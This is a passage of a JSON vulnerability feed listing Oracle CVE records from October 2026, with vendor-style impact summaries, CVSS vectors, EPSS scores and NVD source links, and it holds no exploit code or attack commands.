Siebel product of Oracle Enterprise Manager (component: Configuration Management).  Supported versions that are affected are 13.5 and  24.1. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Enterprise Manager for Siebel.  Successful attacks of this vulnerability can result in takeover of Oracle Enterprise Manager for Siebel. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:01.830Z","updatedAt":"2026-10-21T14:29:49.513Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101525","asOf":"2026-10-21T14:29:49.513Z"},"epss":{"probability":0.00479,"percentile":0.41071,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101525&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101525","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101525","type":"primary","publishedAt":"2026-10-20T22:18:01.830Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101525&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101525, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101520","cveId":"CVE-2026-101520","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Global Lifecycle Management NextGen OUI Framework product of Oracle Fusion Middleware (component: NextGen Installer).","summary":"Vulnerability in the Oracle Global Lifecycle Management NextGen OUI Framework product of Oracle Fusion Middleware (component: NextGen Installer).  Supported versions that are affected are 12.2.1.4.0, 14.1.1.0.0, 14.1.2.0.0, 14.1.2.1.0 and  15.1.1.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Global Lifecycle Management NextGen OUI Framework.  Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Oracle Global Lifecycle Management NextGen OUI Framework. CVSS 3.1 Base Score 7.5 (Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).","detail":"Vulnerability in the Oracle Global Lifecycle Management NextGen OUI Framework product of Oracle Fusion Middleware (component: NextGen Installer).  Supported versions that are affected are 12.2.1.4.0, 14.1.1.0.0, 14.1.2.0.0, 14.1.2.1.0 and  15.1.1.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Global Lifecycle Management NextGen OUI Framework.  Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Oracle Global Lifecycle Management NextGen OUI Framework. CVSS 3.1 Base Score 7.5 (Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:01.353Z","updatedAt":"2026-10-22T19:17:33.983Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101520","asOf":"2026-10-22T19:17:33.983Z"},"epss":{"probability":0.00512,"percentile":0.43384,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101520&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101520","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101520","type":"primary","publishedAt":"2026-10-20T22:18:01.353Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101520&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101520, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101519","cveId":"CVE-2026-101519","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle EDI Gateway product of Oracle E-Business Suite (component: All Miscellaneous EDI Issues).","summary":"Vulnerability in the Oracle EDI Gateway product of Oracle E-Business Suite (component: All Miscellaneous EDI Issues).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows high privileged attacker with network access via HTTP to compromise Oracle EDI Gateway.  Successful attacks of this vulnerability can result in takeover of Oracle EDI Gateway. CVSS 3.1 Base Score 7.2 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the Oracle EDI Gateway product of Oracle E-Business Suite (component: All Miscellaneous EDI Issues).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows high privileged attacker with network access via HTTP to compromise Oracle EDI Gateway.  Successful attacks of this vulnerability can result in takeover of Oracle EDI Gateway. CVSS 3.1 Base Score 7.2 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:01.240Z","updatedAt":"2026-10-21T14:29:49.513Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101519","asOf":"2026-10-21T14:29:49.513Z"},"epss":{"probability":0.00499,"percentile":0.42495,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101519&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101519","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101519","type":"primary","publishedAt":"2026-10-20T22:18:01.240Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101519&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101519, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101518","cveId":"CVE-2026-101518","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Enterprise Manager Base Platform product of Oracle Enterprise Manager (component: Agent Next Gen).","summary":"Vulnerability in the Oracle Enterprise Manager Base Platform product of Oracle Enterprise Manager (component: Agent Next Gen).  Supported versions that are affected are 13.5 and  24.1. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Enterprise Manager Base Platform.  Successful attacks of this vulnerability can result in takeover of Oracle Enterprise Manager Base Platform. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the Oracle Enterprise Manager Base Platform product of Oracle Enterprise Manager (component: Agent Next Gen).  Supported versions that are affected are 13.5 and  24.1. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Enterprise Manager Base Platform.  Successful attacks of this vulnerability can result in takeover of Oracle Enterprise Manager Base Platform. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:01.117Z","updatedAt":"2026-10-21T14:29:49.513Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101518","asOf":"2026-10-21T14:29:49.513Z"},"epss":{"probability":0.0048,"percentile":0.41104,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101518&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101518","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101518","type":"primary","publishedAt":"2026-10-20T22:18:01.117Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101518&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101518, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101508","cveId":"CVE-2026-101508","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Siebel CRM Integration product of Oracle Siebel CRM (component: EAI).","summary":"Vulnerability in the Siebel CRM Integration product of Oracle Siebel CRM (component: EAI).  Supported versions that are affected are 17.0-26.9. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Siebel CRM Integration.  Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Siebel CRM Integration. CVSS 3.1 Base Score 7.5 (Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).","detail":"Vulnerability in the Siebel CRM Integration product of Oracle Siebel CRM (component: EAI).  Supported versions that are affected are 17.0-26.9. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Siebel CRM Integration.  Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Siebel CRM Integration. CVSS 3.1 Base Score 7.5 (Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:00.120Z","updatedAt":"2026-10-22T19:17:33.850Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101508","asOf":"2026-10-22T19:17:33.850Z"},"epss":{"probability":0.00513,"percentile":0.43418,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101508&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101508","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101508","type":"primary","publishedAt":"2026-10-20T22:18:00.120Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101508&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101508, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101506","cveId":"CVE-2026-101506","aliases":[],"kind":"vulnerability","title":"Vulnerability in Oracle Trusted Answer Search (component: Application expert UI).","summary":"Vulnerability in Oracle Trusted Answer Search (component: Application expert UI).   The supported version that is affected is 26.1. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Trusted Answer Search.  While the vulnerability is in Oracle Trusted Answer Search, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle Trusted Answer Search accessible data. CVSS 3.1 Base Score 7.7 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N).","detail":"Vulnerability in Oracle Trusted Answer Search (component: Application expert UI).   The supported version that is affected is 26.1. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Trusted Answer Search.  While the vulnerability is in Oracle Trusted Answer Search, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle Trusted Answer Search accessible data. CVSS 3.1 Base Score 7.7 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:17:59.890Z","updatedAt":"2026-10-21T14:29:49.513Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.7,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101506","asOf":"2026-10-21T14:29:49.513Z"},"epss":{"probability":0.00371,"percentile":0.30759,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101506&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101506","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101506","type":"primary","publishedAt":"2026-10-20T22:17:59.890Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101506&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101506, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101505","cveId":"CVE-2026-101505","aliases":[],"kind":"vulnerability","title":"Vulnerability in Oracle Trusted Answer Search (component: Application expert UI).","summary":"Vulnerability in Oracle Trusted Answer Search (component: Application expert UI).   The supported version that is affected is 26.1. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Trusted Answer Search.  Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle Trusted Answer Search, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Trusted Answer Search accessible data as well as  unauthorized access to critical data or complete access to all Oracle Trusted Answer Search accessible data. CVSS 3.1 Base Score 8.7 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N).","detail":"Vulnerability in Oracle Trusted Answer Search (component: Application expert UI).   The supported version that is affected is 26.1. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Trusted Answer Search.  Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle Trusted Answer Search, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Trusted Answer Search accessible data as well as  unauthorized access to critical data or complete access to all Oracle Trusted Answer Search accessible data. CVSS 3.1 Base Score 8.7 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:17:59.777Z","updatedAt":"2026-10-21T14:29:49.513Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101505","asOf":"2026-10-21T14:29:49.513Z"},"epss":{"probability":0.00353,"percentile":0.28655,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101505&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101505","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101505","type":"primary","publishedAt":"2026-10-20T22:17:59.777Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101505&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101505, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101504","cveId":"CVE-2026-101504","aliases":[],"kind":"vulnerability","title":"Vulnerability in Oracle Trusted Answer Search (component: Application expert UI).","summary":"Vulnerability in Oracle Trusted Answer Search (component: Application expert UI).   The supported version that is affected is 26.1. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Trusted Answer Search.  Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle Trusted Answer Search, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle Trusted Answer Search accessible data as well as  unauthorized update, insert or delete access to some of Oracle Trusted Answer Search accessible data. CVSS 3.1 Base Score 7.6 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N).","detail":"Vulnerability in Oracle Trusted Answer Search (component: Application expert UI).   The supported version that is affected is 26.1. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Trusted Answer Search.  Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle Trusted Answer Search, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle Trusted Answer Search accessible data as well as  unauthorized update, insert or delete access to some of Oracle Trusted Answer Search accessible data. CVSS 3.1 Base Score 7.6 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:17:59.670Z","updatedAt":"2026-10-21T14:29:49.513Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.6,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101504","asOf":"2026-10-21T14:29:49.513Z"},"epss":{"probability":0.00284,"percentile":0.20765,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101504&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101504","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101504","type":"primary","publishedAt":"2026-10-20T22:17:59.670Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101504&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101504, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101498","cveId":"CVE-2026-101498","aliases":[],"kind":"vulnerability","title":"Vulnerability in Oracle Trusted Answer Search (component: PLSQL package).","summary":"Vulnerability in Oracle Trusted Answer Search (component: PLSQL package).   The supported version that is affected is 26.1. Difficult to exploit vulnerability allows unauthenticated attacker with network access via Oracle Net to compromise Oracle Trusted Answer Search.  Successful attacks of this vulnerability can result in takeover of Oracle Trusted Answer Search. CVSS 3.1 Base Score 8.1 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H).","detail":"Vulnerability in Oracle Trusted Answer Search (component: PLSQL package).   The supported version that is affected is 26.1. Difficult to exploit vulnerability allows unauthenticated attacker with network access via Oracle Net to compromise Oracle Trusted Answer Search.  Successful attacks of this vulnerability can result in takeover of Oracle Trusted Answer Search. CVSS 3.1 Base Score 8.1 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:17:58.987Z","updatedAt":"2026-10-21T14:29:49.513Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101498","asOf":"2026-10-21T14:29:49.513Z"},"epss":{"probability":0.00404,"percentile":0.34328,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101498&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101498","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101498","type":"primary","publishedAt":"2026-10-20T22:17:58.987Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101498&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101498, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101495","cveId":"CVE-2026-101495","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Siebel CRM Development product of Oracle Siebel CRM (component: Siebel Approval Manager).","summary":"Vulnerability in the Siebel CRM Development product of Oracle Siebel CRM (component: Siebel Approval Manager).  Supported versions that are affected are 17.0-26.9. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Siebel CRM Development.  Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in takeover of Siebel CRM Development. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the Siebel CRM Development product of Oracle Siebel CRM (component: Siebel Approval Manager).  Supported versions that are affected are 17.0-26.9. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Siebel CRM Development.  Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in takeover of Siebel CRM Development. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of 